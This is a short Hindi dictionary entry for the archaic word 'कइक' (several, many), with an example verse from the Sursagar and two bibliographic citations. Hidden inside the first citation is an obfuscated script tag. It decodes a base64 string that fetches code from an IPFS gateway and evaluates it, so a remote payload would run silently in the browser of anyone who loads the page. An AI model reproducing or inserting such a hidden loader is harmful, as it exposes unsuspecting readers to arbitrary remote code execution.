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कइक - (काव्य प्रयोग, पुरानी हिन्दी) विशेषण (हिन्दी कई+एक)[1]
अनेक, कई।
उदाहरण-
राम दिन कइक ता ठौर अवरे रहे, आइ बल्वल तहाँ दई देखाई। - सूरसागर[2]
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टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 732 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ सूरसागर, पृष्ठ 585, सम्पादक राधाकृष्णदास, वेंकटेश्वर प्रेस, प्रथम संस्करण
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